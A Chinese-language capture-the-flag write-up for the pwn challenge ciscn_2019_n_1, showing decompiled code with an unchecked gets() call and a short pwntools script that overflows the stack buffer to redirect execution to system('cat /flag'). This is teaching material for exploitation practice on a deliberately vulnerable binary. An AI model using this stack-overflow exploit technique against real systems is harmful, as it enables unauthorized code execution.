ciscn_2019_n_1

题目链接:ciscn_2019_n_1

下载附件后,使用 IDA 打开程序,并进行反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

func 函数如下。

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

可以发现,在 func 函数中,存在 gets 函数,并且使用 checksec 命令对程序进行检查时,并没有 Canary,因此可以直接栈溢出,劫持 func 函数的返回地址到代码:system("cat /flag"); 处。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sla("Let's guess the number.\n", 0x38 * b'a' + p64(0x00000000004006BE))
    irt()

pwn()
posted @ 2024-11-11 22:45  imtaieee  阅读(4)  评论(0编辑  收藏  举报